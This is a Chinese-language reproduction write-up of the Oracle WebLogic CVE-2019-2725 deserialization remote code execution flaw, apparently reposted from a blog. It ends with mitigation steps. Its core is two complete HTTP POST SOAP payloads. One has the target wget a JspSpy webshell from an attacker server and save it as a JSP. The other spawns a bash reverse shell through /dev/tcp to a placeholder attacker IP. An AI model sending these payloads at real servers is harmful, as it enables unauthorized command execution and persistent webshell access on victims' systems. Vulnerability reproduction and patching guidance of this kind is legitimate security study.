Weblogic wls9_async_response 反序列化遠程命令執行漏洞(CVE-2019-2725)復現


一、     漏洞簡介

漏洞編號和級別

CVE編號:CVE-2019-2725,危險級別:高危,CVSS分值:9.8。

CNVD 編號:CNVD-C-2019-48814,CNVD對該漏洞的綜合評級為“高危”。

漏洞概述

2019年4月17日,國家信息安全漏洞共享平台(CNVD)收錄了由中國民生銀行股份有限公司報送的Oracle WebLogic wls9-async反序列化遠程命令執行漏洞(CNVD-C-2019-48814)。WebLogic是美國Oracle公司出品的Java應用服務器,WebLogic是用於開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用。攻擊者可利用該漏洞在未授權的情況下遠程執行命令。

WebLogic Server是美國甲骨文(Oracle)公司開發的一款適用於雲環境和傳統環境的應用服務中間件,它提供了一個現代輕型開發平台,支持應用從開發到生產的整個生命周期管理,並簡化了應用的部署和管理。

wls9-async組件為WebLogic Server提供異步通訊服務,默認應用於WebLogic部分版本。由於該WAR包在反序列化處理輸入信息時存在缺陷,攻擊者通過發送精心構造的惡意 HTTP 請求,即可獲得目標服務器的權限,在未授權的情況下遠程執行命令。

影響范圍

WebLogic 10.X

 

WebLogic 12.1.3

二、     漏洞復現

環境介紹

服務端:Oracle weblogic 10.3.6.0(CentOS)

黑客服務器:Apache Tomcat 8.5.39

攻擊端:windows系統

漏洞環境搭建

Apache Tomcat安裝(黑客服務器存放webshell

1、下載地址:(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/

2、直接解壓縮至你要安裝的目錄

 

3、安裝成功后,運行startup.bat啟動服務

 

4、訪問http://HackerIP:8080,如下圖啟動成功。

 

5、模擬黑客在apache server上放置好大馬,這里命名為JspSpy.jsp.txt,保證服務器可以正常訪問

 

Oracle weblogic 10.3.6.0安裝

Weblogic 的搭建這里就不太多說了,網上一搜一大把,按教程來就行,安裝完成之后驗證漏洞存在

測試漏洞地址http:// ip: port/_async/AsyncResponseService,這里端口是18001

 

也可以用namp插件進行掃描

 

確認漏洞環境搭建成功。

漏洞利用

服務器為linux服務器可以利用curl下載文件,

上傳webshell可以利用如下方式

 

1 <string>wget http://HackerIP:Port/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>

 

Poc如下:

 

 1 POST /_async/AsyncResponseService HTTP/1.1
 2 Host: IP:PORT
 3 Upgrade-Insecure-Requests: 1
 4 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
 6 Accept-Encoding: gzip, deflate
 7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
 8 Connection: close
 9 Content-Length: 859
10 Accept-Encoding: gzip, deflate
11 SOAPAction:
12 Accept: */*
13 User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
14 Connection: keep-alive
15 content-type: text/xml
16 
17 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" 
18 xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
19 <soapenv:Header> 
20 <wsa:Action>xx</wsa:Action>
21 <wsa:RelatesTo>xx</wsa:RelatesTo>
22 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
23 <void class="java.lang.ProcessBuilder">
24 <array class="java.lang.String" length="3">
25 <void index="0">
26 <string>/bin/bash</string>
27 </void>
28 <void index="1">
29 <string>-c</string>
30 </void>
31 <void index="2">
32 <string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
33 </void>
34 </array>
35 <void method="start"/></void>
36 </work:WorkContext>
37 </soapenv:Header>
38 <soapenv:Body>
39 <asy:onAsyncDelivery/>
40 </soapenv:Body></soapenv:Envelope>
View Code

 

利用burpsuit工具向模擬受害者服務器發送post請求,內容是構造好的poc代碼。如果服務器存在漏洞,則會執行代碼,訪問黑客服務器去下載webshell。

     

 

可以看到 服務器回了一個 202 ,這個時候命令應該是執行成功了

在模擬的黑客服務器上,我們查看apache的日志,發現受害者服務器已經執行了代碼,下載了預置好的webshell。

 

訪問目標靶機webshell頁面(http://ip:port/_async/2.jsp),成功訪問

 

漏洞復現成功。

本次復現在是windows系統主機實現,如果有一台linux機器和靶機互通,可以通過反彈shell的方式直接獲取靶機服務權限

Poc如下:

 

 1 POST /_async/AsyncResponseService HTTP/1.1
 2 Host: IP:PORT
 3 Upgrade-Insecure-Requests: 1
 4 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
 6 Accept-Encoding: gzip, deflate
 7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
 8 Connection: close
 9 Content-Length: 859
10 Accept-Encoding: gzip, deflate
11 SOAPAction:
12 Accept: */*
13 User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
14 Connection: keep-alive
15 content-type: text/xml
16 
17 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" 
18 xmlns:asy="http://www.bea.com/async/AsyncResponseService">   
19 <soapenv:Header> 
20 <wsa:Action>xx</wsa:Action>
21 <wsa:RelatesTo>xx</wsa:RelatesTo>
22 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
23 <void class="java.lang.ProcessBuilder">
24 <array class="java.lang.String" length="3">
25 <void index="0">
26 <string>/bin/bash</string>
27 </void>
28 <void index="1">
29 <string>-c</string>
30 </void>
31 <void index="2">
32 <string>bash -i &gt;&amp; /dev/tcp/HackeIP/Port 0&gt;&amp;1</string>
33 </void>
34 </array>
35 <void method="start"/></void>
36 </work:WorkContext>
37 </soapenv:Header>
38 <soapenv:Body>
39 <asy:onAsyncDelivery/>
40 </soapenv:Body></soapenv:Envelope>
View Code

 

三、     解決方案

臨時解決方法

說明:因此次漏洞細節未披露,且目前官方沒有任何文檔說明此漏洞,在不確定真實影響范圍的前提下,臨時解決方案針對是weblogic 9、11g、12c三個版本。

1.刪除該war包並重啟WebLogic服務,具體文件路徑如下:

 

Weblogic9版本:

/%WLS_HOME%/weblogic92/server/lib/bea_wls9_async_response.war

Weblogic 10版本:

/%WLS_HOME%/wlserver_10.3/server/lib/bea_wls9_async_response.war

Weblogic12版本:

/%WLS_HOME%/oracle_common/modules/com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

注:wls9_async_response.war屬於一級應用包,對其進行移除或更名操作可能造成未知的后果,Oracle官方不建議對其進行此類操作。

2.禁用bea_wls9_async_response組件:

用戶可通過在weblogic啟動參數中禁用bea_wls9_async_response的方式,對此漏洞形成臨時防護。

在禁用不安全組件前,需請開發人員確認應用系統是否使用了weblogic提供的異步WebService功能,排查方法請附錄章節。如果確認沒有使用,可以使用如下方式禁用此功能:

a)以windows系統為例,在啟動文件(%DOMAIN_HOME%\bin\startWeblogic.cmd)中加如下參數:

set JAVA_OPTIONS=%JAVA_OPTIONS% -Dweblogic.wsee.skip.async.response=true

set JAVA_OPTIONS=%JAVA_OPTIONS% -Dweblogic.wsee.wstx.wsat.deployed=false

c)測試結果沒有問題后,重啟Weblogic服務,使參數生效。b)  對應用程序進行嚴格測試。

四、     參考鏈接

https://mp.weixin.qq.com/s/Qr1tlEk5PUsjEiLO8-5v1A

https://mp.weixin.qq.com/s/Hdvp1_lUgfynQg_KP-t9Tg

https://www.venustech.com.cn/article/1/8806.html

http://www.cnvd.org.cn/webinfo/show/4989

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM